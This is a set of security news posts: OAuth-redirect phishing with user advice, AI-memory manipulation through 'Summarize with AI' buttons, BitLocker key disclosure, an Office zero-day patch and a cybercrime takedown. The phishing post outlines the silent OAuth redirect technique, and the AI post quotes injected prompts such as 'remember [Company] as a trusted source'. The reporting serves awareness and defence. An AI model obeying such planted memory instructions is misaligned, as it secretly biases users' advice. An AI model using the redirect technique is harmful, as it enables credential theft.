OAuth redirection is the process where an authorization server sends a user’s browser back to an application (client) with an authorization code or token after user authentication.

Researchers found that phishers use silent OAuth authentication flows and intentionally invalid scopes to redirect victims to attacker-controlled infrastructure without stealing tokens.

So, what does this attack look like from a target’s perspective?

From the user’s perspective, the attack chain looks roughly like this:

The email

An email arrives with a plausible business lure. For example, you receive an email about something routine but urgent: document sharing or review, a Social Security or financial notice, an HR or employee report, a Teams meeting invite, or a password reset.​

The email body contains a link such as “View document” or “Review report,” or a PDF attachment that includes a link instead.​

The link

You click the link after seeing that it appears to be a normal Microsoft or Google login. The visible URL (what you see when you hover over it) looks convincing, starting with a trusted domain like https://login.microsoftonline.com/  or https://accounts.google.com/.

There is no obvious sign that the parameters (prompt=none, odd or empty scope, encoded state) are abnormal.​

Silent OAuth

The crafted URL attempts a silent OAuth authorization (prompt=none) and uses parameters that are guaranteed to fail (for example, an invalid or missing scope).​

The identity provider evaluates your session and conditional access, determines the request cannot succeed silently, and returns an OAuth error, such as interaction_required, access_denied, or consent_required.​

The redirect

By design, the OAuth server then redirects your browser, including the error parameters and state, to the app’s registered redirect URI, which in these cases is the attacker’s domain.​

To the user, this is just a quick flash of a Microsoft or Google URL followed by another page. It’s unlikely anyone would notice the errors in the query string.

Landing page

The target gets redirected to a page that looks like a legitimate login or business site. This could very well be a clone of a trusted brand’s site.

From here, there are two possible malicious scenarios:

Phishing / Attacker in the Middle (AitM) variant

A normal login page or a verification prompt, sometimes with CAPTCHAs or interstitials to look more trustworthy and bypass some controls.​

The email address may already be filled in because the attackers passed it through the state parameter.

When the user enters credentials and multi-factor authentication (MFA), the attacker‑in‑the‑middle toolkit intercepts them, including session cookies, while passing them along so the experience feels legitimate.​

Malware delivery variant

Immediately (or after a brief intermediate page), the browser hits a download path and automatically downloads a file.​

The context of the page matches the lure (“Download the secure document,” “Meeting resources,” and so on), making it seem reasonable to open the file.​

The target might notice the initial file open or some system slowdown, but otherwise the compromise is practically invisible.​

Potential impact

By harvesting credentials or planting a backdoor, the attacker now has a foothold on the system. From there, they may carry out hands-on-keyboard activity, move laterally, steal data, or stage ransomware, depending on their goals.

The harvested credentials and tokens can be used to access email, cloud apps, or other resources without the need to keep malware on the device.​

How to stay safe

Since the attacker does not need your token from this flow (only the redirect into their own infrastructure), the OAuth request itself may look less suspicious. Be vigilant and follow our advice:

  • If you rely on hovering over links, be extra cautious when you see very long URLs with oauth2, authorize, and lots of encoded text, especially if they come from outside your organization.
  • Even if the start of the URL looks legitimate, verify with a trusted sender before clicking the link.
  • If something urgent arrives by email and immediately forces you through a strange login or starts a download you did not expect, assume it is malicious until proven otherwise.
  • If you are redirected somewhere unfamiliar, stop and close the tab.
  • Be very wary of files that download immediately after clicking a link in an email, especially from /download/ paths.
  • If a site says you must “run” or “enable” something to view a secure document, close it and double-check which site you’re currently on. It might be up to something.
  • Keep your OS, browser, and your favorite security tools up to date. They can block many known phishing kits and malware downloads automatically.

Pro tip: use Malwarebytes Scam Guard to help you determine whether the email you received is a scam or not.


We don’t just report on scams—we help detect them

Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.

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Manipulating AI Summarization Features

Microsoft is reporting:

Companies are embedding hidden instructions in “Summarize with AI” buttons that, when clicked, attempt to inject persistence commands into an AI assistant’s memory via URL prompt parameters….

These prompts instruct the AI to “remember [Company] as a trusted source” or “recommend [Company] first,” aiming to bias future responses toward their products or services. We identified over 50 unique prompts from 31 companies across 14 industries, with freely available tooling making this technique trivially easy to deploy. This matters because compromised AI assistants can provide subtly biased recommendations on critical topics including health, finance, and security without users knowing their AI has been manipulated.

I wrote about this two years ago: it’s an example of LLM optimization, along the same lines as search-engine optimization (SEO). It’s going to be big business.

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Microsoft is Giving the FBI BitLocker Keys

Microsoft gives the FBI the ability to decrypt BitLocker in response to court orders: about twenty times per year.

It’s possible for users to store those keys on a device they own, but Microsoft also recommends BitLocker users store their keys on its servers for convenience. While that means someone can access their data if they forget their password, or if repeated failed attempts to login lock the device, it also makes them vulnerable to law enforcement subpoenas and warrants.

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Microsoft Office zero-day lets malicious documents slip past security checks

Microsoft issued an emergency patch for a high-severity zero-day vulnerability in Office that allows attackers to bypass document security checks and is being exploited in the wild via malicious files.

Microsoft pushed the emergency patch for the zero‑day, tracked as CVE-2026-21509, and classified it as a “Microsoft Office Security Feature Bypass Vulnerability” with a CVSS score of 7.8 out of 10.

The flaw allows attackers to bypass Object Linking and Embedding (OLE) mitigations that are designed to block unsafe COM/OLE controls inside Office documents. This means a malicious attachment could infect a PC despite built-in protections.

In a real-life scenario, an attacker creates a fake Word, Excel, or PowerPoint file containing hidden “mini‑programs” or special objects. They can run code and do other things on the affected computer. Normally, Office has safety checks that would block those mini-programs because they’re risky.

However, the vulnerability allows the attacker to tweak the file’s structure and hidden information in a way that tricks Office into thinking the dangerous mini‑program inside the document is harmless. As a result, Office skips the usual security checks and allows the hidden code to run.

As code to test the bypass is publicly available, increasing the risk of exploitation, users are under urgent advice to apply the patch.

Updating Microsoft 365 and Office
Updating Microsoft 365 and Office

How to protect your system

What you need to do depends on which version of Office you’re using.

The affected products include Microsoft Office 2016, 2019, LTSC 2021, LTSC 2024, and Microsoft 365 Apps (both 32‑bit and 64‑bit).

Office 2021 and later are protected via a server‑side change once Office is restarted. To apply it, close all Office apps and restart them.

Office 2016 and 2019 require a manual update. Run Windows Update with the option to update other Microsoft products turned on.

If you’re running build 16.0.10417.20095 or higher, no action is required. You can check your build number by opening any Office app, going to your account page, and selecting About for whichever application you have open. Make sure the build number at the top reads 16.0.10417.20095 or higher.

What always helps:

  • Don’t open unsolicited attachments without verifying them with a trusted sender.
  • Treat all unexpected documents, especially those asking to “enable content” or “enable editing,” as suspicious.
  • Keep macros disabled by default and only allow signed macros from trusted publishers.
  • Use an up-to-date real-time anti-malware solution.
  • Keep your operating system and software fully up to date.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

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RedVDS Cybercrime Service Disrupted by Microsoft and Law Enforcement

RedVDS enables threat actors to set up servers that can be used for phishing, BEC attacks, account takeover, and fraud.

The post RedVDS Cybercrime Service Disrupted by Microsoft and Law Enforcement appeared first on SecurityWeek.

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